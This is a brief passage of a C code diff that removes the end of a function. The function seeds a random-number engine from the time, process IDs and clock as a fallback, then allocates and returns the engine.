- // fall back to seeding with what's available.
- seed =
- (uint32_t)(time(NULL) % 0xFFFFFFFF) ^
- (uint32_t)(getpid() % 0xFFFFFFFF) ^
- (uint32_t)(getppid() % 0xFFFFFFFF) ^
- (uint32_t)(clock() % 0xFFFFFFFF);
- }
-
- ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed);
- if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) {
- abort();
- }
-
- return ret.engine;
-}